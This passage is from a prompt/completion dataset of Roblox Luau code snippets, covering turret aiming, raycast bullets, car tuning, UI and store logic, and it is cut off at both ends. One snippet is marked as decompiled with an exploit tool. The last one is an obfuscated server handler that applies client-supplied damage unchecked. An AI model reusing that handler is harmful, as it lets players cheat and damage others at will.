turretSpeed*sign(rotDiff);\n\tend\n\t\n\t-- Put rotation and elevation into an array\n\tlocal rotations = {};\n\trotations[1] = targElev;\n\trotations[2] = targRot;\n\t\n\treturn rotations;\nend\n"} +{"prompt": "-- Services", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nprint(game.ReplicatedStorage.isBuilder:InvokeServer(), game.ReplicatedStorage.isAdmin:InvokeServer());\nscript.Parent.Enabled = game.ReplicatedStorage.isBuilder:InvokeServer() or game.ReplicatedStorage.isAdmin:InvokeServer();\nlocal u1 = false;\nscript.Parent.TextButton.Activated:Connect(function()\n\tu1 = not u1;\n\tgame.Players.LocalPlayer.Character.HumanoidRootPart.badge.toggle:InvokeServer(u1);\n\tscript.Parent.TextButton.BackgroundColor3 = u1 and Color3.new(1, 1, 1) or Color3.new(0, 0, 0);\nend);\n"} +{"prompt": "--[[\n\tContains deprecated methods from Reconciler. Broken out so that removing\n\tthis shim is easy -- just delete this file and remove it from init.\n]]", "completion": "\n\nlocal Logging = require(script.Parent.Logging)\n\nlocal reifyMessage = [[\nRoact.reify has been renamed to Roact.mount and will be removed in a future release.\nCheck the call to Roact.reify at:\n]]\n\nlocal teardownMessage = [[\nRoact.teardown has been renamed to Roact.unmount and will be removed in a future release.\nCheck the call to Roact.teardown at:\n]]\n\nlocal reconcileMessage = [[\nRoact.reconcile has been renamed to Roact.update and will be removed in a future release.\nCheck the call to Roact.reconcile at:\n]]\n\nlocal function createReconcilerCompat(reconciler)\n\tlocal compat = {}\n\n\tfunction compat.reify(...)\n\t\tLogging.warnOnce(reifyMessage)\n\n\t\treturn reconciler.mountVirtualTree(...)\n\tend\n\n\tfunction compat.teardown(...)\n\t\tLogging.warnOnce(teardownMessage)\n\n\t\treturn reconciler.unmountVirtualTree(...)\n\tend\n\n\tfunction compat.reconcile(...)\n\t\tLogging.warnOnce(reconcileMessage)\n\n\t\treturn reconciler.updateVirtualTree(...)\n\tend\n\n\treturn compat\nend\n\nreturn createReconcilerCompat\n"} +{"prompt": "--Interface", "completion": "\nfunction draw_invincibility:Enable()\n\t--Enable trails\n\tfor _,v in pairs(self.particles) do\n\t\tv.Enabled = true\n\tend\n\tself.en_time = self.part_time\n\tself.enabled = true\nend\n\nfunction draw_invincibility:Disable()\n\t--Disable trails\n\tfor _,v in pairs(self.particles) do\n\t\tv.Enabled = false\n\tend\n\tself.enabled = false\nend\n\nfunction draw_invincibility:Draw(dt, hrp_cf)\n\tif not self.enabled then\n\t\tself.en_time -= dt\n\tend\n\tif self.en_time > 0 and hrp_cf ~= self.hrp_cf then\n\t\t--Set invincibility CFrame\n\t\tself.invincibility:SetPrimaryPartCFrame(hrp_cf)\n\t\tself.hrp_cf = hrp_cf\n\tend\nend\n\nfunction draw_invincibility:LazyDraw(dt, hrp_cf)\n\tif not self.enabled then\n\t\tself.en_time -= dt\n\tend\n\tif self.en_time > 0 and hrp_cf ~= self.hrp_cf then\n\t\t--Set invincibility CFrame\n\t\tself.invincibility:SetPrimaryPartCFrame(hrp_cf)\n\t\tself.hrp_cf = hrp_cf\n\tend\nend\n\nreturn draw_invincibility\n"} +{"prompt": "--player.CharacterAdded:Wait()\n--player.Character:WaitForChild(\"Humanoid\")\n--player.Character:WaitForChild(\"HumanoidRootPart\")\n--camera.CameraSubject = player.Character.HumanoidRootPart", "completion": "\n\nlocal function onCharacterAdded(character)\n\tcharacter:WaitForChild(\"HumanoidRootPart\")\n\tcamera.CameraSubject = player.Character.HumanoidRootPart\nend\n\ngame.Players.LocalPlayer.CharacterAdded:Connect(onCharacterAdded)\n\ngame:GetService(\"RunService\").Stepped:connect(function(currTime,dt)\n\tif(isPlayerRevive and player.Character ~= nil) then\n\t\tlocal character = player.Character\n\t\tif(character:FindFirstChild(\"HumanoidRootPart\") == nil) then\n\t\t\treturn\n\t\tend\n\t\tlocal torso = character.HumanoidRootPart\n\t\tlocal newFrame = \tCFrame.new(Vector3.new(torso.Position.X , torso.Position.Y + 10, torso.Position.Z - 10) + currentPosition,\n\t\t\tVector3.new(torso.Position.X, torso.Position.Y, torso.Position.Z - 10) + currentTarget)\n\t\tcamera.CFrame = camera.CFrame:Lerp(newFrame, cameraSpeed * dt)\n\tend\n\t\nend)\n"} +{"prompt": "-- Simulate a raycast by one tick.", "completion": "\nlocal function SimulateCast(cast: ActiveCast, delta: number, expectingShortCall: boolean)\n\tassert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tPrintDebug(\"Casting for frame.\")\n\tlocal latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]\n\t\n\tlocal origin = latestTrajectory.Origin\n\tlocal totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\tlocal initialVelocity = latestTrajectory.InitialVelocity\n\tlocal acceleration = latestTrajectory.Acceleration\n\t\n\tlocal lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)\n\tlocal lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)\n\tlocal lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\n\tcast.StateInfo.Delta = delta\n\tcast.StateInfo.TotalRuntime += delta\n\tcast.StateInfo.TotalRuntime2 += delta\n\t\n\t-- Recalculate this.\n\ttotalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\t\n\tlocal currentTarget = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)\n\tlocal segmentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) \n\tlocal totalDisplacement = currentTarget - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.\n\t\n\tlocal rayDir = totalDisplacement.Unit * segmentVelocity.Magnitude * delta\n\tlocal targetWorldRoot = cast.RayInfo.WorldRoot\n\tlocal resultOfCast\n\t\n\tlocal point = currentTarget\n\tlocal part: Instance? = nil\n\tlocal material = Enum.Material.Air\n\tlocal normal = Vector3.new()\n\t\t\n\tif cast.RayInfo.RaycastHitbox then\n\t\tfor _, v in next, cast.RayInfo.RaycastHitbox do\n\t\t\tresultOfCast = targetWorldRoot:Raycast((cast.RayInfo.CurrentCFrame * v).p, rayDir, cast.RayInfo.Parameters)\n\t\t\tif (resultOfCast ~= nil) then\n\t\t\t\tpoint = resultOfCast.Position\n\t\t\t\tpart = resultOfCast.Instance\n\t\t\t\tmaterial = resultOfCast.Material\n\t\t\t\tnormal = resultOfCast.Normal\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\telse\n\t\tresultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters)\n\t\tif (resultOfCast ~= nil) then\n\t\t\tpoint = resultOfCast.Position\n\t\t\tpart = resultOfCast.Instance\n\t\t\tmaterial = resultOfCast.Material\n\t\t\tnormal = resultOfCast.Normal\n\t\tend\n\tend\n\t\n\tlocal rayDisplacement = ((cast.RayInfo.RaycastHitbox and currentTarget or point) - lastPoint).Magnitude\n\t-- For clarity -- totalDisplacement is how far the ray would have traveled if it hit nothing,\n\t-- and rayDisplacement is how far the ray really traveled (which will be identical to totalDisplacement if it did indeed hit nothing)\n\t\n\tSendLengthChanged(cast, (cast.RayInfo.RaycastHitbox and currentTarget or point), lastPoint, rayDir.Unit, rayDisplacement, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\tcast.StateInfo.DistanceCovered += rayDisplacement\n\t\n\tlocal rayVisualization: ConeHandleAdornment? = nil\n\tif (delta > 0) then\n\t\trayVisualization = DbgVisualizeSegment(CFrame.new(lastPoint, lastPoint + rayDir), rayDisplacement)\n\tend\n\t\n\t-- HIT DETECTED. Handle all that garbage, and also handle behaviors 1 and 2 (default behavior, go high res when hit) if applicable.\n\t-- CAST BEHAVIOR 2 IS HANDLED IN THE CODE THAT CALLS THIS FUNCTION.\n\t\n\tif part and part ~= cast.RayInfo.CosmeticBulletObject then\n\t\tlocal start = tick()\n\t\tPrintDebug(\"Hit something, testing now.\")\n\t\t\n\t\t-- SANITY CHECK: Don't allow the user to yield or run otherwise extensive code that takes longer than one frame/heartbeat to execute.\n\t\tif (cast.RayInfo.CanPenetrateCallback ~= nil) then\n\t\t\tif expectingShortCall == false then\n\t\t\t\tif (cast.StateInfo.IsActivelySimulatingPenetration) then\n\t\t\t\t\tcast:Terminate()\n\t\t\t\t\terror(\"ERROR: The latest call to CanPenetrateCallback took too long to complete! This cast is going to suffer desyncs which WILL cause unexpected behavior and errors. Please fix your performance problems, or remove statements that yield (e.g. wait() calls)\")\n\t\t\t\t\t-- Use error. This should absolutely abort the cast.\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- expectingShortCall is used to determine if we are doing a forced resolution increase, in which case this will be called several times in a single frame, which throws this error.\n\t\t\tcast.StateInfo.IsActivelySimulatingPenetration = true\n\t\tend\n\t\t------------------------------\n\t\t\t\t\n\t\tif cast.RayInfo.CanPenetrateCallback == nil or (cast.RayInfo.CanPenetrateCallback ~= nil and cast.RayInfo.CanPenetrateCallback(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\tPrintDebug(\"Penetrating function is nil or it returned FALSE to not penetrate this hit.\")\n\t\t\tcast.StateInfo.IsActivelySimulatingPenetration = false\n\t\t\t\n\t\t\tif (cast.StateInfo.HighFidelityBehavior == 2 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize ~= 0) then\n\t\t\t\tcast.StateInfo.CancelHighResCast = false -- Reset this here.\n\t\t\t\t\n\t\t\t\tif cast.StateInfo.IsActivelyResimulating then\n\t\t\t\t\tcast:Terminate()\n\t\t\t\t\terror(\"Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.\")\n\t\t\t\tend\n\t\t\t\t\n\n\t\t\t\tcast.StateInfo.IsActivelyResimulating = true\n\t\t\t\t\n\t\t\t\t-- This is a physics based cast and it needs to be recalculated.\n\t\t\t\tPrintDebug(\"Hit was registered, but recalculation is on for physics based casts. Recalculating to verify a real hit...\")\n\t\t\t\t\n\t\t\t\t-- Split this ray segment into smaller segments of a given size.\n\t\t\t\t-- In 99% of cases, it won't divide evently (e.g. I have a distance of 1.25 and I want to divide into 0.1 -- that won't work)\n\t\t\t\t-- To fix this, the segments need to be stretched slightly to fill the space (rather than having a single shorter segment at the end)\n\t\t\t\t\n\t\t\t\tlocal numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments\n\t\t\t\tlocal numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments\n\t\t\t\tlocal realSegmentLength = rayDisplacement / numSegmentsReal -- this spits out 0.51, which isn't exact to the defined 0.5, but it's close\n\t\t\t\t\n\t\t\t\t-- Now the real hard part is converting this to time.\n\t\t\t\tlocal timeIncrement = delta / numSegmentsReal\n\t\t\t\tfor segmentIndex = 1, numSegmentsReal do\n\t\t\t\t\tif cast.StateInfo.CancelHighResCast then\n\t\t\t\t\t\tcast.StateInfo.CancelHighResCast = false\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal subPosition = GetPositionAtTime(lastDelta + (timeIncrement * segmentIndex), origin, initialVelocity, acceleration)\n\t\t\t\t\tlocal subVelocity = GetVelocityAtTime(lastDelta + (timeIncrement * segmentIndex), initialVelocity, acceleration) \n\t\t\t\t\tlocal subRayDir = subVelocity * delta\n\t\t\t\t\tlocal subResult\n\t\t\t\t\t\n\t\t\t\t\tif cast.RayInfo.RaycastHitbox then\n\t\t\t\t\t\tfor _, v in next, cast.RayInfo.RaycastHitbox do\n\t\t\t\t\t\t\tsubResult = targetWorldRoot:Raycast((cast.RayInfo.CurrentCFrame * v).p, subRayDir, cast.RayInfo.Parameters)\n\t\t\t\t\t\t\tif (subResult ~= nil) then\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tsubResult = targetWorldRoot:Raycast(subPosition, subRayDir, cast.RayInfo.Parameters)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal subDisplacement = (subPosition - (subPosition + subVelocity)).Magnitude\n\t\t\t\t\t\n\t\t\t\t\tif (subResult ~= nil) then\n\t\t\t\t\t\tlocal subDisplacement = (subPosition - subResult.Position).Magnitude\n\t\t\t\t\t\tlocal dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement)\n\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end\n\t\t\t\t\t\t\n\t\t\t\t\t\tif cast.RayInfo.CanPenetrateCallback == nil or (cast.RayInfo.CanPenetrateCallback ~= nil and cast.RayInfo.CanPenetrateCallback(cast, origin, subRayDir.Unit, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\t\t\t\tif cast.RayInfo.CanHitCallback == nil or (cast.RayInfo.CanHitCallback ~= nil and cast.RayInfo.CanHitCallback(cast, origin, subRayDir.Unit, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\t\t\t\t\t-- Still hit even at high res\n\t\t\t\t\t\t\t\tcast.StateInfo.IsActivelyResimulating = false\n\n\t\t\t\t\t\t\t\tSendRayFinalHit(cast, origin, subRayDir.Unit, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\t\t\t\t\tcast:Terminate(subResult)\n\t\t\t\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), false)\n\t\t\t\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(0.0588235, 0.87451, 1) end\n\t\t\t\t\t\t\t\treturn\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t-- Recalculating hit something hittable instead.\n\t\t\t\t\t\t\t\tSendRayHit(cast, origin, subRayDir.Unit, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.\n\t\t\t\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end\n\t\t\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.305882, 0.243137, 0.329412) end\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement)\n\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- If the script makes it here, then it wasn't a real hit (higher resolution revealed that the low-res hit was faulty)\n\t\t\t\t-- Just let it keep going.\n\t\t\t\tcast.StateInfo.IsActivelyResimulating = false\n\t\t\telseif (cast.StateInfo.HighFidelityBehavior ~= 1 and cast.StateInfo.HighFidelityBehavior ~= 3) then\n\t\t\t\tcast:Terminate()\n\t\t\t\terror(\"Invalid value \" .. (cast.StateInfo.HighFidelityBehavior) .. \" for HighFidelityBehavior.\")\n\t\t\telse\n\t\t\t\tif cast.RayInfo.CanHitCallback == nil or (cast.RayInfo.CanHitCallback ~= nil and cast.RayInfo.CanHitCallback(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\t\t-- This is not a physics cast, or recalculation is off.\n\t\t\t\t\tPrintDebug(\"Hit was successful. Terminating.\")\n\t\t\t\t\tSendRayFinalHit(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\t\tcast:Terminate(resultOfCast)\n\t\t\t\t\tDbgVisualizeHit(CFrame.new(point), false)\n\t\t\t\t\treturn\t\t\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\t-- Recalculating hit something hittable instead.\n\t\t\t\t\tSendRayHit(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.\n\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end\n\t\t\t\t\tlocal dbgSeg = DbgVisualizeSegment(CFrame.new(lastPoint, lastPoint + rayDir), rayDisplacement)\n\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.305882, 0.243137, 0.329412) end\n\t\t\t\tend\n\t\t\tend\n\t\telse\t\t\t\n\t\t\tPrintDebug(\"Penetrating function returned TRUE to penetrate this part.\")\n\t\t\tif rayVisualization ~= nil then\n\t\t\t\trayVisualization.Color3 = Color3.new(0.4, 0.05, 0.05) -- Turn it red to signify that the cast was scrapped.\n\t\t\tend\n\t\t\tDbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\n\t\t\tlocal params = cast.RayInfo.Parameters\n\t\t\tlocal alteredParts = {}\n\t\t\tlocal currentPenetrationTestCount = 0\n\t\t\tlocal originalFilter = params.FilterDescendantsInstances\n\t\t\tlocal brokeFromSolidObject = false\n\t\t\tlocal reallyBrokeFromSolidObject = false\n\t\t\t\n\t\t\tlocal function Recursive()\n\t\t\t\ttable.clear(alteredParts)\n\t\t\t\tcurrentPenetrationTestCount = 0\n\t\t\t\tbrokeFromSolidObject = false\n\t\t\t\t\n\t\t\t\tcast.StateInfo.IsActivelySimulatingPenetration = true -- The hell?\n\t\t\t\t\n\t\t\t\twhile true do\n\t\t\t\t\t-- So now what I need to do is redo this entire cast, just with the new filter list\n\n\t\t\t\t\t-- Catch case: Is it terrain?\n\t\t\t\t\tif resultOfCast.Instance:IsA(\"Terrain\") then\n\t\t\t\t\t\tif material == Enum.Material.Water then\n\t\t\t\t\t\t\t-- Special case: Penetrated on water?\n\t\t\t\t\t\t\tcast:Terminate()\n\t\t\t\t\t\t\terror(\"Do not add Water as a piercable material. If you need to penetrate water, set cast.RayInfo.Parameters.IgnoreWater = true instead\", 0)\n\t\t\t\t\t\tend\n\t\t\t\t\t\twarn(\"WARNING: The penetrate callback for this cast returned TRUE on Terrain! This can cause severely adverse effects.\")\n\t\t\t\t\tend\n\n\t\t\t\t\tif params.FilterType == Enum.RaycastFilterType.Blacklist then\n\t\t\t\t\t\t-- blacklist\n\t\t\t\t\t\t-- DO NOT DIRECTLY TABLE.INSERT ON THE PROPERTY\n\t\t\t\t\t\tlocal filter = params.FilterDescendantsInstances\n\t\t\t\t\t\ttable.insert(filter, resultOfCast.Instance)\n\t\t\t\t\t\ttable.insert(alteredParts, resultOfCast.Instance)\n\t\t\t\t\t\tparams.FilterDescendantsInstances = filter\n\t\t\t\t\telse\n\t\t\t\t\t\t-- whitelist\n\t\t\t\t\t\t-- method implemeneted by custom table system\n\t\t\t\t\t\t-- DO NOT DIRECTLY TABLE.REMOVEOBJECT ON THE PROPERTY\n\t\t\t\t\t\tlocal filter = params.FilterDescendantsInstances\n\t\t\t\t\t\ttable.removeObject(filter, resultOfCast.Instance)\n\t\t\t\t\t\ttable.insert(alteredParts, resultOfCast.Instance)\n\t\t\t\t\t\tparams.FilterDescendantsInstances = filter\n\t\t\t\t\tend\n\n\t\t\t\t\t-- List has been updated, so let's cast again.\t\t\t\t\t\n\t\t\t\t\tresultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)\n\t\t\t\t\t--[[if cast.RayInfo.RaycastHitbox then\n\t\t\t\t\t\tfor _, v in next, cast.RayInfo.RaycastHitbox do\n\t\t\t\t\t\t\tresultOfCast = targetWorldRoot:Raycast((cast.RayInfo.CurrentCFrame * v).p, rayDir, params)\n\t\t\t\t\t\t\tif (resultOfCast ~= nil) then\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tresultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)\n\t\t\t\t\tend]]\n\n\t\t\t\t\t-- No hit? No simulation. Break.\n\t\t\t\t\tif resultOfCast == nil then\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\n\t\t\t\t\tif currentPenetrationTestCount >= MAX_PENETRATION_TEST_COUNT then\n\t\t\t\t\t\twarn(\"WARNING: Exceeded maximum penetrate test budget for a single ray segment (attempted to test the same segment \" .. MAX_PENETRATION_TEST_COUNT .. \" times!)\")\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\tcurrentPenetrationTestCount = currentPenetrationTestCount + 1;\n\n\t\t\t\t\tif cast.RayInfo.CanPenetrateCallback(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false then\n\t\t\t\t\t\tbrokeFromSolidObject = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- Restore the filter to its default state.\n\t\t\t\tcast.RayInfo.Parameters.FilterDescendantsInstances = originalFilter\n\t\t\t\tcast.StateInfo.IsActivelySimulatingPenetration = false\n\n\t\t\t\tif brokeFromSolidObject then\n\t\t\t\t\tif cast.RayInfo.CanHitCallback == nil or (cast.RayInfo.CanHitCallback ~= nil and cast.RayInfo.CanHitCallback(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\t\t\treallyBrokeFromSolidObject = true\n\t\t\t\t\telse\n\t\t\t\t\t\t-- Recalculating hit something hittable instead.\n\t\t\t\t\t\tSendRayHit(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.\n\t\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end\n\t\t\t\t\t\tlocal dbgSeg = DbgVisualizeSegment(CFrame.new(lastPoint, lastPoint + rayDir), rayDisplacement)\n\t\t\t\t\t\tif (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.305882, 0.243137, 0.329412) end\n\t\t\t\t\t\tRecursive()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tRecursive()\n\t\t\t\n\t\t\tif reallyBrokeFromSolidObject then\n\t\t\t\t-- We actually hit something while testing.\n\t\t\t\tPrintDebug(\"Broke because the ray hit something solid (\" .. tostring(resultOfCast.Instance) .. \") while testing for a penetration. Terminating the cast.\")\n\t\t\t\tSendRayFinalHit(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\tcast:Terminate(resultOfCast)\n\t\t\t\tDbgVisualizeHit(CFrame.new(resultOfCast.Position), false)\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\t-- And exit the function here too.\n\t\tend\n\tend\n\t\n\tif cast.RayInfo.TravelType == \"Distance\" then\n\t\tif cast.StateInfo.DistanceCovered >= cast.RayInfo.MaxDistance then\n\t\t\tif cast.UserData.CastBehavior.HitEventOnTermination then\n\t\t\t\tSendRayFinalHit(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\tend\n\t\t\tcast:Terminate(nil, true)\n\t\t\tDbgVisualizeHit(CFrame.new(currentTarget), false)\t\t\t\n\t\tend\n\telse\n\t\tif cast.StateInfo.TotalRuntime2 > cast.RayInfo.Lifetime then\n\t\t\tif cast.UserData.CastBehavior.HitEventOnTermination then\n\t\t\t\tSendRayFinalHit(cast, origin, rayDir.Unit, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\tend\t\t\t\n\t\t\tcast:Terminate(nil, true)\n\t\t\tDbgVisualizeHit(CFrame.new(currentTarget), false)\t\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n Returns true if the given value is not automatically memory managed, and\n requires manual cleanup.\n]]", "completion": "\n\nlocal function needsDestruction(x: any): boolean\n return typeof(x) == \"Instance\"\nend\n\nreturn needsDestruction\n"} +{"prompt": "--//INSPARE//--", "completion": "\nlocal player = game.Players.LocalPlayer\nlocal lightOn = false\nlocal car = script.Parent.Car.Value"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 600\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 7000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 7500\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.ComfortShift = 3500\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--\t====================\n--\tBULLET VISUALIZER\n--\tEnabled the gun to display a fake travelling bullet\n--\t====================", "completion": "\n\n\t\tVisualizerEnabled = true;\n\t\tBulletSpeed = 25;\n\t\tBulletSize = Vector3.new(0.25,0.25,100);\n\t\tBulletColor = BrickColor.new(\"White\");\n\t\tBulletTransparency = 0.25;\n\t\tBulletMaterial = Enum.Material.Neon;\n\t\tFadeTime = 0.25; --Only work when bullet travel instantly. For this, you have to set BulletSpeed to \"math.huge\"\n\t\t"} +{"prompt": "-- Includes all waypoints arranged in order in which player will move through them.", "completion": "\nlocal waypoints = {\n\twaypointFolder.Start,\n\twaypointFolder.Point1,\n\twaypointFolder.Point2,\n}\n\n"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal Workspace = game:GetService(\"Workspace\")\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\nlocal VRService = game:GetService(\"VRService\")\n"} +{"prompt": "--function ClassZombie:FindWay(Goal)\n--\tlocal Humanoid = self.Humanoid\n--\tlocal PathFindingService = game:GetService('PathfindingService')\n--\tlocal Path = PathFindingService:CreatePath()\n--\tPath:ComputeAsync(self.Character.PrimaryPart.Position, Goal)\n--\tlocal WaypointsArray = Path:GetWaypoints()\n--\treturn WaypointsArray\n--end", "completion": "\n"} +{"prompt": "--[[\n\tFlush all pending actions since the last change event was dispatched.\n]]", "completion": "\nfunction Store:flush()\n\tif not self._mutatedSinceFlush then\n\t\treturn\n\tend\n\n\tself._mutatedSinceFlush = false\n\n\t-- On self.changed:fire(), further actions may be immediately dispatched, in\n\t-- which case self._lastState will be set to the most recent self._state,\n\t-- unless we cache this value first\n\tlocal state = self._state\n\n\tlocal ok, errorResult = xpcall(function()\n\t\t-- If a changed listener yields, *very* surprising bugs can ensue.\n\t\t-- Because of that, changed listeners cannot yield.\n\t\tNoYield(function()\n\t\t\tself.changed:fire(state, self._lastState)\n\t\tend)\n\tend, tracebackReporter)\n\n\tif not ok then\n\t\tself._errorReporter.reportUpdateError(\n\t\t\tself._lastState,\n\t\t\tstate,\n\t\t\tself._actionLog,\n\t\t\t{\n\t\t\t\tmessage = \"Caught error flushing store updates\",\n\t\t\t\tthrownValue = errorResult,\n\t\t\t}\n\t\t)\n\tend\n\n\tself._lastState = state\nend\n\nreturn Store\n"} +{"prompt": "--// Events", "completion": "\nL_34_.OnServerEvent:connect(function(L_84_arg1)\t\n\tfor L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do\n\t\tif L_86_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tL_86_forvar2.Enabled = true\n\t\tend\n\tend;\n\n\tdelay(1 / 30, function()\n\t\tfor L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do\n\t\t\tif L_88_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_88_forvar2.Enabled = false\n\t\t\tend\n\t\tend\n\tend);\nend)\n\nlocal L_52_\nL_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)\n\tL_90_arg2:TakeDamage(L_91_arg3)\n\tif L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then\n\t\tif L_4_ and L_4_:FindFirstChild(L_2_.Name) then\n\t\t\tlocal L_92_ = L_4_[L_2_.Name]\n\t\t\tL_92_.Value = not L_92_.Value\n\t\tend\n\t\tL_39_:FireClient(L_89_arg1)\n\t\tL_52_ = L_90_arg2\n\tend\nend)\n\nL_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)\n\tlocal L_95_ = Instance.new(\"ObjectValue\")\n\tL_95_.Name = 